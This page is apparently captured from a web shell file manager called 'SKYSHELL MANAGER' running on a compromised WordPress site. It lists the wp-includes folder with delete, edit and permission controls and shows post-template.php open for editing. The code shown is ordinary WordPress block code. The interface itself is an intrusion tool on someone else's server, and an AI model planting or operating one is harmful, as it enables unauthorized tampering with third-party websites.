📁
SKYSHELL MANAGER-
🛒
PHP v8.2.30
Create Folder
Create File
Current Path:
home
/
powertibet
/
public_html
/
letketo.com
/
wp-includes
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📁
ID3
-
0755
🗑️
🔒
📁
IXR
-
0755
🗑️
🔒
📁
PHPMailer
-
0755
🗑️
🔒
📁
Requests
-
0755
🗑️
🔒
📁
SimplePie
-
0755
🗑️
🔒
📁
Text
-
0755
🗑️
🔒
📁
abilities-api
-
0755
🗑️
🔒
📁
assets
-
0755
🗑️
🔒
📁
block-bindings
-
0755
🗑️
🔒
📁
block-patterns
-
0755
🗑️
🔒
📁
block-supports
-
0755
🗑️
🔒
📁
blocks
-
0755
🗑️
🔒
📁
certificates
-
0755
🗑️
🔒
📁
css
-
0755
🗑️
🔒
📁
customize
-
0755
🗑️
🔒
📁
fonts
-
0755
🗑️
🔒
📁
html-api
-
0755
🗑️
🔒
📁
images
-
0755
🗑️
🔒
📁
interactivity-api
-
0755
🗑️
🔒
📁
js
-
0755
🗑️
🔒
📁
l10n
-
0755
🗑️
🔒
📁
php-compat
-
0755
🗑️
🔒
📁
pomo
-
0755
🗑️
🔒
📁
rest-api
-
0755
🗑️
🔒
📁
sitemaps
-
0755
🗑️
🔒
📁
sodium_compat
-
0755
🗑️
🔒
📁
style-engine
-
0755
🗑️
🔒
📁
theme-compat
-
0755
🗑️
🔒
📁
widgets
-
0755
🗑️
🔒
📄
abilities.php
7.8 KB
0644
🗑️
⬇️
✏️
🔒
📄
atomlib.php
11.9 KB
0644
🗑️
⬇️
✏️
🔒
📄
block-editor.php
28.6 KB
0644
🗑️
⬇️
✏️
🔒
📄
bookmark.php
15.07 KB
0644
🗑️
⬇️
✏️
🔒
📄
cache-compat.php
9.84 KB
0644
🗑️
⬇️
✏️
🔒
📄
cache.php
13.17 KB
0644
🗑️
⬇️
✏️
🔒
📄
category-template.php
55.71 KB
0644
🗑️
⬇️
✏️
🔒
📄
category.php
12.53 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-feed.php
0.53 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-http.php
0.36 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-json.php
42.65 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-phpmailer.php
0.65 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-requests.php
2.18 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-walker-page-dropdown.php
2.65 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-block-parser.php
11.25 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-block-template.php
1.99 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-block-type-registry.php
4.91 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-classic-to-block-menu-converter.php
3.97 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-customize-nav-menus.php
56.65 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-date-query.php
35.3 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-dependency.php
2.57 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-editor.php
70.64 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-embed.php
15.56 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-fatal-error-handler.php
7.96 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-feed-cache.php
0.95 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-http-cookie.php
7.22 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-http-encoding.php
6.53 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-http-ixr-client.php
3.42 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-http-response.php
2.91 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-http.php
40.6 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-image-editor-gd.php
20.22 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-image-editor.php
17.01 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-metadata-lazyloader.php
6.67 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-oembed-controller.php
6.74 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-phpmailer.php
4.25 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-plugin-dependencies.php
24.72 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-recovery-mode-cookie-service.php
6.72 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-recovery-mode-email-service.php
10.92 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-recovery-mode-key-service.php
4.77 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-recovery-mode-link-service.php
3.38 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-scripts.php
34.05 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-simplepie-file.php
3.47 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-speculation-rules.php
7.35 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-term-query.php
39.99 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-text-diff-renderer-inline.php
0.96 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-text-diff-renderer-table.php
18.44 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-theme-json-data.php
1.77 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-theme-json-resolver.php
34.9 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-token-map.php
27.95 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-user-request.php
2.25 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-walker.php
13.01 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-widget-factory.php
3.27 KB
0644
🗑️
⬇️
✏️
🔒
📄
class.wp-styles.php
0.33 KB
0644
🗑️
⬇️
✏️
🔒
📄
comment.php
130.93 KB
0644
🗑️
⬇️
✏️
🔒
📄
cron.php
41.98 KB
0644
🗑️
⬇️
✏️
🔒
📄
default-filters.php
37.02 KB
0644
🗑️
⬇️
✏️
🔒
📄
default-widgets.php
2.24 KB
0644
🗑️
⬇️
✏️
🔒
📄
embed.php
38 KB
0644
🗑️
⬇️
✏️
🔒
📄
error-protection.php
4.02 KB
0644
🗑️
⬇️
✏️
🔒
📄
feed-atom-comments.php
5.38 KB
0644
🗑️
⬇️
✏️
🔒
📄
feed.php
24.6 KB
0644
🗑️
⬇️
✏️
🔒
📄
functions.php
281.84 KB
0644
🗑️
⬇️
✏️
🔒
📄
general-template.php
168.95 KB
0644
🗑️
⬇️
✏️
🔒
📄
https-detection.php
5.72 KB
0644
🗑️
⬇️
✏️
🔒
📄
https-migration.php
4.63 KB
0644
🗑️
⬇️
✏️
🔒
📄
index.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
ms-blogs.php
25.24 KB
0644
🗑️
⬇️
✏️
🔒
📄
ms-default-filters.php
6.48 KB
0644
🗑️
⬇️
✏️
🔒
📄
plugin.php
35.65 KB
0644
🗑️
⬇️
✏️
🔒
📄
post-template.php
67.04 KB
0644
🗑️
⬇️
✏️
🔒
📄
registration-functions.php
0.2 KB
0644
🗑️
⬇️
✏️
🔒
📄
script-loader.php
154.63 KB
0644
🗑️
⬇️
✏️
🔒
📄
script-modules.php
9.68 KB
0644
🗑️
⬇️
✏️
🔒
📄
shortcodes.php
23.49 KB
0644
🗑️
⬇️
✏️
🔒
📄
speculative-loading.php
8.4 KB
0644
🗑️
⬇️
✏️
🔒
📄
spl-autoload-compat.php
0.43 KB
0644
🗑️
⬇️
✏️
🔒
📄
template-loader.php
3.84 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme.php
131.84 KB
0644
🗑️
⬇️
✏️
🔒
📄
user.php
173.89 KB
0644
🗑️
⬇️
✏️
🔒
📄
version.php
1.11 KB
0644
🗑️
⬇️
✏️
🔒
📄
widgets.php
69.46 KB
0644
🗑️
⬇️
✏️
🔒
Editing: post-template.php
<?php /** * Server-side rendering of the `core/post-template` block. * * @package WordPress */ /** * Determines whether a block list contains a block that uses the featured image. * * @since 6.0.0 * * @param WP_Block_List $inner_blocks Inner block instance. * * @return bool Whether the block list contains a block that uses the featured image. */ function block_core_post_template_uses_featured_image( $inner_blocks ) { foreach ( $inner_blocks as $block ) { if ( 'core/post-featured-image' === $block->name ) { return true; } if ( 'core/cover' === $block->name && ! empty( $block->attributes['useFeaturedImage'] ) ) { return true; } if ( $block->inner_blocks && block_core_post_template_uses_featured_image( $block->inner_blocks ) ) { return true; } } return false; } /** * Renders the `core/post-template` block on the server. * * @since 6.3.0 Changed render_block_context priority to `1`. * * @global WP_Query $wp_query WordPress Query object. * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the output of the query, structured using the layout defined by the block's inner blocks. */ function render_block_core_post_template( $attributes, $content, $block ) { $page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $enhanced_pagination = isset( $block->context['enhancedPagination'] ) && $block->context['enhancedPagination']; $page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ]; // Use global query if needed. $use_global_query = ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ); if ( $use_global_query ) { global $wp_query; /* * If already in the main query loop, duplicate the query instance to not tamper with the main instance. * Since this is a nested query, it should start at the beginning, therefore rewind posts. * Otherwise, the main query loop has not started yet and this block is responsible for doing so. */ if ( in_the_loop() ) { $query = clone $wp_query; $query->rewind_posts(); } else { $query = $wp_query; } } else { $query_args = build_query_vars_from_query_block( $block, $page ); $query = new WP_Query( $query_args ); } if ( ! $query->have_posts() ) { return ''; } if ( block_core_post_template_uses_featured_image( $block->inner_blocks ) ) { update_post_thumbnail_cache( $query ); } $classnames = ''; if ( isset( $block->context['displayLayout'] ) && isset( $block->context['query'] ) ) { if ( isset( $block->context['displayLayout']['type'] ) && 'flex' === $block->context['displayLayout']['type'] ) { $classnames = "is-flex-container columns-{$block->context['displayLayout']['columns']}"; } } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classnames .= ' has-link-color'; } // Ensure backwards compatibility by flagging the number of columns via classname when using grid layout. if ( isset( $attributes['layout']['type'] ) && 'grid' === $attributes['layout']['type'] && ! empty( $attributes['layout']['columnCount'] ) ) { $classnames .= ' ' . sanitize_title( 'columns-' . $attributes['layout']['columnCount'] ); } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => trim( $classnames ) ) ); $content = ''; while ( $query->have_posts() ) { $query->the_post(); // Get an instance of the current Post Template block. $block_instance = $block->parsed_block; // Set the block name to one that does not correspond to an existing registered block. // This ensures that for the inner instances of the Post Template block, we do not render any block supports. $block_instance['blockName'] = 'core/null'; $post_id = get_the_ID(); $post_type = get_post_type(); $filter_block_context = static function ( $context ) use ( $post_id, $post_type ) { $context['postType'] = $post_type; $context['postId'] = $post_id; return $context; }; // Use an early priority to so that other 'render_block_context' filters have access to the values. add_filter( 'render_block_context', $filter_block_context, 1 ); // Render the inner blocks of the Post Template block with `dynamic` set to `false` to prevent calling // `render_callback` and ensure that no wrapper markup is included. $block_content = ( new WP_Block( $block_instance ) )->render( array( 'dynamic' => false ) ); remove_filter( 'render_block_context', $filter_block_context, 1 ); // Wrap the render inner blocks in a `li` element with the appropriate post classes. $post_classes = implode( ' ', get_post_class( 'wp-block-post' ) ); $inner_block_directives = $enhanced_pagination ? ' data-wp-key="post-template-item-' . $post_id . '"' : ''; $content .= '<li' . $inner_block_directives . ' class="' . esc_attr( $post_classes ) . '">' . $block_content . '</li>'; } /* * Use this function to restore the context of the template tags * from a secondary query loop back to the main query loop. * Since we use two custom loops, it's safest to always restore. */ wp_reset_postdata(); return sprintf( '<ul %1$s>%2$s</ul>', $wrapper_attributes, $content ); } /** * Registers the `core/post-template` block on the server. * * @since 5.8.0 */ function register_block_core_post_template() { register_block_type_from_metadata( __DIR__ . '/post-template', array( 'render_callback' => 'render_block_core_post_template', 'skip_inner_blocks' => true, ) ); } add_action( 'init', 'register_block_core_post_template' );
💾 Save Changes